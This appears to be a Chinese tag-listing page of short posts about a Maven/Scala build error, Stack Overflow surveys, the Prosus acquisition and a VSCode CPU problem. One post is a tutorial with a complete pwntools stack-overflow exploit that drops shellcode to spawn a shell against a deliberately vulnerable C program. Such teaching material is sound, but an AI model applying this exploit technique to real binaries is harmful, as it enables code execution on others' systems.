关于stackoverflow:maven-混合编译-scala-代码报错qbit

前言技术栈 Windows 10Java/JDK 1.8.0_202Maven 3.6.3spark 2.4.6scala 2.12hadoop 2.6.0-cdh5.10.0操作系统中并没有装置 scala,利用 pom.xml 中的插件编译 scala 代码报错景象编译命令 mvn -D maven.test.skip=true clean scala:compile compile package报如下谬误 ......[ERROR] error: java.lang.StackOverflowError......[INFO] at scala.tools.nsc.javac.JavaScanners$JavaScanner.skipBlockComment(JavaScanners.scala:585)[INFO] ------------------------------------------------------------------------[INFO] BUILD FAILURE[INFO] ------------------------------------------------------------------------[INFO] Total time: 12.495 s[INFO] Finished at: 2023-03-20T13:56:52+08:00[INFO] ------------------------------------------------------------------------[ERROR] Failed to execute goal net.alchim31.maven:scala-maven-plugin:3.4.6:compile (default-cli) on project DataAnalysis_aws_smartlib: wrap: org.apache.commons.exec.ExecuteException: Process exited with an error: -10000 (Exit value: -10000) -> [Help 1][ERROR][ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.[ERROR] Re-run Maven using the -X switch to enable full debug logging.[ERROR][ERROR] For more information about the errors and possible solutions, please read the following articles:[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException解决办法给编译插件增加 jvm 参数 jvmArg,增加后 scala-maven-plugin 插件残缺配置如下 ...

March 20, 2023 · 1 min · jiezi

关于stackoverflow:选择哪种编程语言会吸引优秀的人才

近日,Stackoverflow 公布了“2022 开发者调查报告”。此次报告共有来自 180 个国家 / 地区的超 70000 名开发人员参加了考察。 数据显示,当代开发者已进入“内卷”时代,依据考察显示,不少开发者身兼数职。46.82% 的受访者称本人为全栈开发者,尤其是数据库管理员、产品经理、平安业余人员认为本人具备的技能最多,共有 7 种。 此外,学习在线编码的比例逐年从 60% 减少到 70%;45 岁以上的受访者最有可能从书本上学习,而年轻人则在网上学习;年老(18 岁以下)的受访者最依赖在线资源,并且最有可能从在线课程或认证中学习。 值得关注的是,Rust 已间断7年霸榜最受欢迎的编程语言 Top1,往年依然有 87% 的开发者示意心愿持续应用它。另外,Rust、Python、TypeScript 也成为开发者在将来最想要应用的技术。 Rust最大的劣势是,在构建宏大而简单的零碎,同时顺利通过编译器后,失去的二进制文件就能失常工作,而且能保障始终失常。 1.安全性:在Rust 中,类型平安实现内存平安,如所有权机制、借用、生命周期等个性防止了程序开发过程中的空指针、悬垂指针等问题,从而保障了服务在语言层面的安全性。 2.优良的性能体现:Rust 的指标在性能方面对标 C 语言,但在平安和生产力方面则比 C 更胜一筹。其无 GC,不须要开发人员手动分配内存等个性,极大水平地缩小内存碎片,简化内存治理。 3.低开销:从开发效率和可读可维护性上来说,有足够的形象能力,并且这种形象没有运行时开销(runtime cost)。零开销形象,通过泛型和 Trait 在编译期开展并实现形象解释。 4.实用性:有优良的包管理器工具 Crate、文档正文反对、具体的编译器提醒、敌对的错误处理等,在开发过程中可能高效帮忙程序员疾速开发出牢靠、高性能的利用。 对于守业公司而言,高性能意味着所需的服务器更少,相应的经营开销也更低。在经验丰富的团队手中,Rust就会变成一种超能力。 现阶段,非凸科技正基于Rust生态打造高效率、低提早、高牢靠全内存高频交易平台,继续为券商、量化私募等泛滥大型金融机构提供优质的算法服务。 咱们作为Rust量化先行者,竭力推广Rust语言,激励更多的人学习交换。期待酷爱Rust,酷爱量化的你,退出非凸!

June 28, 2022 · 1 min · jiezi

关于stackoverflow:JavaScript最流行Vuejs跻身最常用Web框架前五Stack-Overflow-2021开发者调查报告出炉

Stack Overflow 2021 年开发者调查报告出炉。报告显示,JavaScript 间断九年蝉联最罕用的编程语言;React.js 超过 jQuery 成为最罕用的 Web 框架,Vue.js 从去年的第七名跻身最罕用 Web 框架前五;Rust 间断六年成为最受开发者青睐的编程语言,Python 间断五年成为开发者最想应用的语言。 Stack Overflow 2021 开发者考察于往年 5 月开启,共有 8 万余名开发者参加此次考察。这也是 Stack Overflow 进行的第 11 次年度开发者考察。 该考察发现了一些新的变动。比方开发者自我教育的形式产生显著变动。对于数量一直增长的 18 岁以下编程人员而言,视频和博客等在线资源比书籍和学校更受欢迎。总体而言,这一行业有大量新人退出,超过 50% 的受访者示意编程工夫不到十年,超过 35% 的人示意从业工夫不到五年。 这次考察涵盖开发者根本状况、技术、工作和社区多个方面,咱们能够从中一窥 2021 年开发者的现状。 调查结果概览靠近 60% 的受访者通过在线资源学习编程。较为年老的受访者更偏向于从在线课程、论坛等在线资源处学习编程,而年纪绝对较长的受访者更多是基于学校和书籍等传统媒介学习。React.js 超过 jQuery 成为最罕用的 web 框架。去年薪资最高的语言 Perl 往年降落至薪资榜第五位,Clojure 开发者领有最高的薪资中位数,比第二名 F# 高出 14k 美元。AWS 依然是应用最宽泛的云平台,但 Google Cloud 和 Microsoft Azure 自去年开始取得了长足发展。新兴框架 Svelte 成为最受青睐的框架,React 则是开发者最想应用的框架,有四分之一的受访者示意最想应用 React 框架。最风行的技术Python 超过 SQL 成为第三大风行技术,Node.JS 跃居第六大风行技术。 ...

August 3, 2021 · 2 min · jiezi

关于stackoverflow:18-亿美元Stack-Overflow-被腾讯大股东-Prosus-收购

早上一起来,就看到一个大音讯:Prosus 发表以 18 亿美元收买驰名程序员问答网站 Stack Overflow。Prosus 此举旨在满足人们一直增长的在线技术学习需要,这也是该公司在在线学习畛域的最大笔投资。 Stack Overflow CEO Prashanth Chandrasekar 称:此次收买实现后,Stack Overflow 将保留原有团队和寰球技术力量的反对,持续作为独立公司经营。 咱们先来看此次收买的两位配角。 Stack Overflow 想必大家都不生疏。该公司开办于 2008 年,是驰名的程序员问答网站。官网显示,其网站每月访客数量超过 1 亿。除了 Stack Overflow 公共平台以外,该公司还领有多款产品,如 Stack Overflow for Teams、Stack Overflow Advertising 和 Stack Overflow for Talent and Jobs。其中 Stack Overflow for Teams 是其外围 SaaS 合作产品,旨在帮忙企业解决近程工作、数字化转型等难题。 Prosus 是寰球顶尖的科技投资公司。如果你对它不相熟,那么你或者据说过腾讯的最大股东。2001 年,Prosus 的母公司 Naspers 向腾讯投资 3400 万美元。2019 年,Naspers 将 Prosus 分拆进去,用来持有南非投资公司 Naspers 的国内互联网资产。尔后,Naspers 所持有的 30.9% 的腾讯控股股份便由 Prosus 接手。往年 4 月,Prosus 发表减持 2% 腾讯股票。 除了腾讯,Prosus 还投资了 Brainly、BYJU’s、Codecademy、OLX、PayU、Remitly 和 Udemy 等公司,其中不乏在线学习企业的身影。而此次对 Stack Overflow 的收买,是 Prosus 在教育技术畛域的第一次全面收买,也是在线学习畛域的最大笔投资。 ...

June 3, 2021 · 1 min · jiezi

编写的第一个POC代码

0x00 Target#include <assert.h>#include <unistd.h>int vuln(){ // Define variables char arr[400]; int return_status; // Grab user input printf(“What’s your name?\n”); return_status = read(0, arr, 800); // Print user input printf(“Hey %s”, arr); // Return success return 0;}int main(int argc, char * argv[]){ vuln(); return 0;}这是一个非常标准的带有栈溢出漏洞的程序,编译与运行的条件如下:虚拟机,Ubuntu 18.04 LTS, Kernel: 4.15.0-45-generic使用如下GCC指令编译,关闭PIE(Position-independent Executable,指令位置无关可执行程序),关闭栈保护功能,启用栈可执行功能。gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c利用这个漏洞的思路如下:将shellcode通过标准输入写入arr[400]数组;覆盖vulr栈帧保存的上一级函数的返回地址为arr[400]的起始地址;当函数调用ret指令时,跳转到arr[400]执行shellcode。0x01 Fuzzing使用pwntools中的cyclic生成cycle pyload,获取以下信息:arr[400]到栈帧中返回地址保存位置的offset;arr[400]的绝对地址,可以用vulr()栈帧的rbp和offset计算得到。编写的Fuzzing程序如下:def find_rbp(): cycle_payload = cyclic(512, n=8) clean_corefile(COREDUMP) # Generate coredump p = process([VULR_BINARY]) p.sendline(cycle_payload) p.wait_for_close() # Analise coredump core = Coredump(COREDUMP) clean_corefile(COREDUMP) # Find RBP address, RBP address is equal to RBP after leaveq return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)很多基于32位Linux系统讲解栈溢出的教程中采用根据EIP中存储的值来确定offset,但这个方法在x64系统中不适用。具体地,注意程序生成的coredump文件:(gdb) disasDump of assembler code for function vuln: 0x00000000004005c7 <+0>: push %rbp 0x00000000004005c8 <+1>: mov %rsp,%rbp 0x00000000004005cb <+4>: sub $0x1a0,%rsp 0x00000000004005d2 <+11>: lea 0x11b(%rip),%rdi # 0x4006f4 0x00000000004005d9 <+18>: callq 0x4004b0 <puts@plt> 0x00000000004005de <+23>: lea -0x1a0(%rbp),%rax 0x00000000004005e5 <+30>: mov $0x320,%edx 0x00000000004005ea <+35>: mov %rax,%rsi 0x00000000004005ed <+38>: mov $0x0,%edi 0x00000000004005f2 <+43>: callq 0x4004d0 <read@plt> 0x00000000004005f7 <+48>: mov %eax,-0x4(%rbp) 0x00000000004005fa <+51>: lea -0x1a0(%rbp),%rax 0x0000000000400601 <+58>: mov %rax,%rsi 0x0000000000400604 <+61>: lea 0xfb(%rip),%rdi # 0x400706 0x000000000040060b <+68>: mov $0x0,%eax 0x0000000000400610 <+73>: callq 0x4004c0 <printf@plt> 0x0000000000400615 <+78>: mov $0x0,%eax 0x000000000040061a <+83>: leaveq => 0x000000000040061b <+84>: retq End of assembler dump.此时,RIP寄存器的值为:(gdb) p $rip$1 = (void (*)()) 0x40061b <vuln+84>说明retq指令执行还没有被完全执行,程序就发生了段错误。retq指令执行时,会检查栈中存储的返回地址是否合法。如合法,读入到rip寄存器并执行,如果不合法,将发出中断。此时,rip寄存器并没有读入栈中存储的返回地址因此,不能通过分析rip来确定溢出的offset,但我们注意到leaveq已经获得了执行,栈中存放的rbp已经被覆盖,栈中存放的rbp值已经读入rbp寄存器,可以通过分析rbp来确定溢出的offset。0x02 POC由上,就可以编写出完整的POC代码了#!/usr/bin/env python2import osfrom pwn import *VULR_BINARY = ‘./vuln2’COREDUMP = ‘./core’context.update(arch=‘x86_64’, os=‘linux’)def clean_corefile(corefile): if os.path.exists(corefile): os.remove(corefile)def find_rbp(): cycle_payload = cyclic(512, n=8) clean_corefile(COREDUMP) # Generate coredump p = process([VULR_BINARY]) p.sendline(cycle_payload) p.wait_for_close() # Analise coredump core = Coredump(COREDUMP) clean_corefile(COREDUMP) # Find RBP address, RBP address is equal to RBP after leaveq return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)def poc_start(): shellcode = asm(shellcraft.sh()) rbp_address, rbp_offset = find_rbp() payload = shellcode + asm(’nop’) * (rbp_offset + 8 - len(shellcode)) + pack(rbp_address - rbp_offset, 64) p = process([VULR_BINARY], stdin=PTY, stdout=PTY) p.sendline(payload) p.interactive()poc_start()执行shellcode后,即运行了一个shellReferencehttps://www.felixcloutier.com…https://bytesoverbombs.io/exp… ...

February 20, 2019 · 2 min · jiezi

Visual Studio Code使用中CPU占用率异常暴增过高原因

今天要说的是一个困扰我好几个月的问题,Visual Studio Code(下文简称VSCode)在使用中突然增高,风扇开始狂转,温度骤增,影响心情的故障原因。其实,无论是Windows还是OSX,很多人可能或多或少都遇到过VSCode突然就不好使了,我就遇到过好多次疑难杂症,折腾很久才弄出来,比如下面三点:tab键突然就不好使了,卡顿很久或者压根无法缩进,并且sidebar的git那块功能彻底失效!写Markdown文档的时候,tab键的缩进只能向右,不能收回。。。这真是奇葩。使用中莫名其妙的风扇就响了起来,看看进程和温度,CPU满载执行,完全不知道怎么回事,这也是本次要专门提到的问题。系统使用环境及VSCode状态检测我使用的是黑苹果,当然这个与CPU占用率增高并无关系,通过code –status查看一些基本信息如下:P750TM:~ whidy$ code –statusVersion: Code 1.30.2 (61122f88f0bf01e2ac16bdb9e1bc4571755f5bd8, 2019-01-07T22:48:31.260Z)OS Version: Darwin x64 17.7.0CPUs: Intel(R) Core(TM) i5-8600K CPU @ 3.60GHz (6 x 3600)Memory (System): 16.00GB (5.22GB free)Load (avg): 2, 2, 2VM: 0%Screen Reader: noProcess Argv: –inspect-extensions=9993GPU Status: 2d_canvas: enabled checker_imaging: disabled_off flash_3d: enabled flash_stage3d: enabled flash_stage3d_baseline: enabled gpu_compositing: enabled multiple_raster_threads: enabled_on native_gpu_memory_buffers: enabled rasterization: unavailable_software video_decode: enabled video_encode: enabled webgl: enabled webgl2: enabledCPU % Mem MB PID Process 0 98 1775 code main 0 49 1776 gpu-process 0 229 1777 window (settings.json — mpa-stat-sdk) 0 0 1780 /bin/bash -l 0 115 1783 extensionHost 0 82 1787 /Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper –nolazy –inspect=10785 /Applications/Visual Studio Code.app/Contents/Resources/app/extensions/json-language-features/server/dist/jsonServerMain –node-ipc –clientProcessId=1783 0 49 1784 watcherService 0 49 1789 searchService 0 33 1785 utility 0 82 1817 shared-process 0 311 1830 window (ald-stat.js — one-plus-sport) 0 49 1831 watcherService 0 98 1832 extensionHost 4 66 1870 electron_node eslintServer.js 0 131 1871 electron_node tsserver.js 0 66 1879 electron_node typingsInstaller.js typesMap.js 0 49 1835 searchServiceWorkspace Stats: | Window (ald-stat.js — one-plus-sport)| Window (settings.json — mpa-stat-sdk)| Folder (one-plus-sport): 273 files| File types: js(75) json(58) wxss(57) wxml(56) png(21) md(2)| gitignore(1) xlsx(1) jpg(1) zip(1)| Conf files:| Folder (mpa-stat-sdk): 21 files| File types: js(13) md(3) json(2) zip(2) gitignore(1)| Conf files: gulp.js(1) package.json(1)故障现象先来看看正常情况下和非正常情况的运行情况对比图:上图为正常情况下的截图上图为异常情况下的截图这个问题真的令我很苦恼,我这两张截图期间绝对没有做任何可能会产生高计算需求的工作,但是正常的操作怎么会出现这种情况呢。故障分析及解决于是进行了大量的搜索,百度就不用看了,屎一样的结果:前5篇内容完全一致,结论:“search.followSymlinks”:true,在我这一点用也没用。顺便吐槽,我完全不理解,在中国尤其是CSDN,为什么一个简单的小问题,一大堆人转载,完全一样的内容,如果真的是神一般的技巧,敢不敢多写一点,为什么这样能解决问题,出现故障的原因呢,无脑抄袭就算了,做笔记请使用自己的笔记本,比如有道云笔记,印象笔记不好吗,难道没人知道你是抄的?简直浪费搜索时间!垃圾!吐槽完毕,该用google了,实际上,我一开始就没用百度,只是写这篇文章,担心有人遇到过这样的问题,写过相同的解决方案,说我是抄来的。就索性百度搜一下。用谷歌自然用英文,虽然我英语很渣,但是谷歌懂我。只需要几个关键词:无论是微软官方的issue查,还是stackoverflow查,总能有很大的收获,但是,我这个问题比较特殊,我尝试过最基本的两种处理办法:屏蔽所有插件测试重置自定义的settings.json文件然而都不好使。可怜我英文也不是特别好,有可能有些有用的信息被我忽略掉了。这里补充一下,其实大部分原因,可以通过官方提供的自排除方案来检查Performance Issues,我很推荐遇到CPU占用率过高的情况下先看看这篇文章。不过也不是全无收获,至少开头提到的三个问题,前两个查出来了。第一个问题是插件Auto Rename Tag造成的,这个至少在一年前是非常流行的,我自己也觉得很好用,就一直装了,完全想不到这个简单的功能居然会造成VSCode某些功能异常,去插件主页看看,作者也不更新维护了,插件评价页面全是一星,可见目前已经是垃圾插件了查看评论,不过过年很多无脑转载的还在推荐这个插件,所以为了避免大家入坑,建议不要使用Auto Rename Tag。第二个问题也是插件问题,就是Markdown All in One这个插件导致缩进功能不好使,原因我也不知道,其实这个问题并不严重,有强烈依赖改插件的朋友还是可以继续使用,我也很推荐这个插件写markdow,有些还是挺便捷的,不过我是删了哈哈哈,看个人意愿了~好了第三个问题才是最重要的,我反复观察了很久,做了大量测试和查阅文档,终于得出结论:当且仅当VSCode的窗口大于1个的时候,才会出现该现象出现异常经常出现在切换不同窗口之后发生我发现切换窗口后出现异常就搜索关键词two/multi vscode switch cause a high cpu useage终于找到了一丝丝线索,仔细阅读了下面几篇:Switching between VSCode windows with any custom app switcher causes high CPU usageapplication processes consume 200% CPU combinedExtreme CPU usage when multiple windows are openRenderer high CPU on OSX with custom window switchers我终于,发现了一个问题,我切换VSCode的窗口的方式有问题!!!我是用了罗技鼠标的快捷键功能导致,如图:啊,我的天啊!我反复尝试,在多个窗口,直接用键盘的Cmd + 来切换内部应用窗口,妥妥的一点毛病都没有。结论很多情况下VSCode功能异常都是插件引起的,尝试关闭所有插件来检查,建议阅读Performance Issues。其次是**第三方Switcher应用切换VSCode窗口会造成异常!比如常用的鼠标功能键!啊,坑了我好多个月,反复重装VSCode和系统都没法解决的毛病终于解决了。。。以后只能用Cmd + 来切换了 ...

January 28, 2019 · 2 min · jiezi